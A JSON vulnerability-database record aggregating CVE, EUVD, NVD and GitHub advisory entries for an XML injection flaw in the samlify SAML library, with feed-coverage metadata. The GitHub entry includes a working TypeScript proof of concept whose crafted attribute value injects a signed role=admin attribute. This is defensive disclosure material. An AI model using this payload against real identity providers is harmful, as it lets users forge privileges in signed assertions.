{"id":"EUVD-2026-35188","revision":null,"records":[{"revision":"622da603fc794029b68edad21aecd848","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-46490","aliases":[],"title":"samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions","description":"samlify is a Node.js library for SAML single sign-on. Prior to version 2.13.0, samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). This issue has been patched in version 2.13.0.","state":0,"publishedAt":"2026-06-08T18:41:40.145+00:00","modifiedAt":"2026-06-09T15:13:53.54+00:00","affected":[{"ecosystem":"Vendor product","name":"samlify","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"tngan\",\n                    \"product\": \"samlify\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.13.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":"HIGH"}],"references":["https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-46490","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-46490","identifiers":["CVE-2026-46490"]},"retained":false,"historicalAffected":[]},{"revision":"899416d6332e498d910e0558db6f9cca","observedAt":"2026-11-23T19:34:08.555+00:00","statement":{"source":"euvd","id":"EUVD-2026-35188","aliases":["CVE-2026-46490","GHSA-34r5-q4jw-r36m"],"title":"samlify is a Node.js library for SAML single sign-on. Prior to version 2.13.0, samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user c…","description":"samlify is a Node.js library for SAML single sign-on. Prior to version 2.13.0, samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). This issue has been patched in version 2.13.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":8.7,"severity":null}],"references":["https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-35188","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 8, 2026, 6:41:40 PM","dateUpdated":"Jun 9, 2026, 3:13:53 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-35188","identifiers":["EUVD-2026-35188","CVE-2026-46490","GHSA-34r5-q4jw-r36m"]},"retained":false,"historicalAffected":[]},{"revision":"af87dd3f62744bc88e2a82fbd9add2d0","observedAt":"2026-10-25T12:17:20.277+00:00","statement":{"source":"nvd","id":"CVE-2026-46490","aliases":[],"title":"samlify is a Node.js library for SAML single sign-on. Prior to version 2.13.0, samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user c…","description":"samlify is a Node.js library for SAML single sign-on. Prior to version 2.13.0, samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). This issue has been patched in version 2.13.0.","state":0,"publishedAt":"2026-06-08T19:16:45.95+00:00","modifiedAt":"2026-07-23T08:10:00.137+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":8.7,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-46490","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-91"],"productCriteria":["cpe:2.3:a:samlify_project:samlify:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-06-08T19:16:45.950","lastModified":"2026-07-23T08:10:00.137"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-46490","identifiers":["CVE-2026-46490"]},"retained":false,"historicalAffected":[]},{"revision":"198f878912db4d8180ab62457b464708","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-34r5-q4jw-r36m","aliases":["CVE-2026-46490"],"title":"samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions","description":"## Summary\n\nsamlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `<saml:AttributeValue>`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `<saml:Attribute>` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).\n\n## Root Cause\n\n`src/libsaml.ts` → `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:\n\n```\n<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>\n```\n\nTherefore, `</saml:AttributeValue>…<saml:Attribute …>` is accepted and signed.\n\n## Proof-of-concept\n\n- poc/attribute_injection.ts\n\n```TS\nimport { readFileSync } from 'fs';\nimport * as samlify from '../index';\nimport * as validator from '@authenio/samlify-xsd-schema-validator';\n\nsamlify.setSchemaValidator(validator);\n\nconst { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;\n\nconst loginResponseTemplate = {\n  context: '<samlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"{ID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" Destination=\"{Destination}\" InResponseTo=\"{InResponseTo}\"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value=\"{StatusCode}\"/></samlp:Status><saml:Assertion ID=\"{AssertionID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format=\"{NameIDFormat}\">{NameID}</saml:NameID><saml:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"><saml:SubjectConfirmationData NotOnOrAfter=\"{SubjectConfirmationDataNotOnOrAfter}\" Recipient=\"{SubjectRecipient}\" InResponseTo=\"{InResponseTo}\"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore=\"{ConditionsNotBefore}\" NotOnOrAfter=\"{ConditionsNotOnOrAfter}\"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',\n  attributes: [\n    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },\n  ],\n};\n\nconst idp = IdentityProvider({\n  privateKey: readFileSync('./test/key/idp/privkey.pem'),\n  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',\n  isAssertionEncrypted: false,\n  metadata: readFileSync('./test/misc/idpmeta.xml'),\n  loginResponseTemplate,\n});\n\nconst sp = ServiceProvider({\n  privateKey: readFileSync('./test/key/sp/privkey.pem'),\n  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',\n  isAssertionEncrypted: false,\n  metadata: readFileSync('./test/misc/spmeta.xml'),\n});\n\nconst buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {\n  const now = new Date();\n  const fiveMinutesLater = new Date(now.getTime() + 300_000);\n  const tvalue = {\n    ID: _idp.entitySetting.generateID(),\n    AssertionID: _idp.entitySetting.generateID(),\n    Destination: _sp.entityMeta.getAssertionConsumerService('post'),\n    Audience: _sp.entityMeta.getEntityID(),\n    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),\n    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',\n    NameID: user.email,\n    Issuer: _idp.entityMeta.getEntityID(),\n    IssueInstant: now.toISOString(),\n    ConditionsNotBefore: now.toISOString(),\n    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),\n    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),\n    InResponseTo: 'request-id',\n    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',\n    attrUserEmail: user.email,\n    attrUserInjection: user.injection,\n  };\n\n  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };\n};\n\nasync function main() {\n  const injection = [\n    'safe',\n    '</saml:AttributeValue></saml:Attribute>',\n    '<saml:Attribute Name=\"role\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\">',\n    '<saml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\">admin</saml:AttributeValue>',\n    '</saml:Attribute>',\n    '<saml:Attribute Name=\"injection\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\">',\n    '<saml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\">safe'\n  ].join('');\n\n  const user = { email: 'user@esaml2.com', injection };\n  const { context: SAMLResponse } = await idp.createLoginResponse(\n    sp,\n    { extract: { request: { id: 'request-id' } } },\n    'post',\n    user,\n    buildTemplate(idp, sp, 'post', user)\n  );\n\n  const xml = util.base64Decode(SAMLResponse, true).toString();\n  console.log('--- Generated XML snippet ---');\n  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));\n\n  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });\n\n  console.log('Parsed attributes:', extract.attributes);\n}\n\nmain().catch(err => {\n  console.error('PoC failed:', err?.message || err);\n  process.exitCode = 1;\n});\n```\n\n**Run:**\n\n```\n  npm install --legacy-peer-deps\n  npx ts-node poc/attribute_injection.ts\n```\n\n## Impact \n\nA normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.","state":0,"publishedAt":"2026-05-21T17:14:07+00:00","modifiedAt":"2026-06-09T13:30:22.458653+00:00","affected":[{"ecosystem":"npm","name":"samlify","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.13.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m","https://nvd.nist.gov/vuln/detail/CVE-2026-46490","https://github.com/tngan/samlify"],"sourceUrl":"https://github.com/advisories/GHSA-34r5-q4jw-r36m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-34r5-q4jw-r36m","identifiers":["GHSA-34r5-q4jw-r36m","CVE-2026-46490"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-24T07:27:15.4133422+00:00","complete":true,"records":1792,"lastAttemptAt":"2026-11-24T07:27:15.4133422+00:00","lastSuccessAt":"2026-11-24T07:27:15.6346254+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:27:15.6346262+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-f6e4a7f93ed9acd6fcb1f804a4567f7b9b16730ac126110af8d6d24176317946-12d679cc5e9ae3a72c05e3556dc0d643db2cd6f28bbe89f18151e12e1610862a","complete":true,"records":431045,"lastAttemptAt":"2026-11-24T07:25:33.6342443+00:00","lastSuccessAt":"2026-11-24T07:25:33.4848586+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:25:33.6342443+00:00","snapshotPublishedAt":"2026-11-24T07:21:42+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-baeab005808643a392cae744caa450b8","complete":false,"records":13935,"lastAttemptAt":"2026-11-24T07:37:05.4941293+00:00","lastSuccessAt":"2026-11-24T07:37:05.491+00:00","error":"546 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-24T07:37:05.491+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13073,"expectedIdentifiers":13982,"failedIdentifiers":546},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-24T07:27:15.4133422+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-24T07:27:15.4133422+00:00","lastSuccessAt":"2026-11-24T07:27:15.6353422+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:27:15.6353423+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d36c41b04e594ee4bf98efd25374f377","complete":true,"records":13947,"lastAttemptAt":"2026-11-24T07:27:31.4953369+00:00","lastSuccessAt":"2026-11-24T07:27:31.492+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:27:31.492+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13982,"expectedIdentifiers":13982,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-c86437892ddabdeaf17409463a17578b1e71dd185d64061100dd57629858f6d6","complete":true,"records":10074,"lastAttemptAt":"2026-11-24T07:27:15.2700652+00:00","lastSuccessAt":"2026-11-23T22:27:19.6557603+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:27:15.2700652+00:00","snapshotPublishedAt":"2026-11-23T21:33:52+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-24T07:25:33.787645+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:25:33.787645+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-15e801f03affdaac7ba10268556f4d0b3e1b9f897dae85fdcade5fc30d25011c","complete":true,"records":3217,"lastAttemptAt":"2026-11-24T07:27:15.3777857+00:00","lastSuccessAt":"2026-11-23T17:27:41.2539213+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:27:15.3777857+00:00","snapshotPublishedAt":"2026-11-23T16:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-eba0b77765e3817301b63ae18d1a01500c75f9a6e5cf6d359b3086f66583757e","complete":true,"records":232959,"lastAttemptAt":"2026-11-24T07:27:15.146502+00:00","lastSuccessAt":"2026-11-24T07:27:14.0444662+00:00","error":null,"lastVerifiedAt":"2026-11-24T07:27:15.146502+00:00","snapshotPublishedAt":"2026-11-24T07:18:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}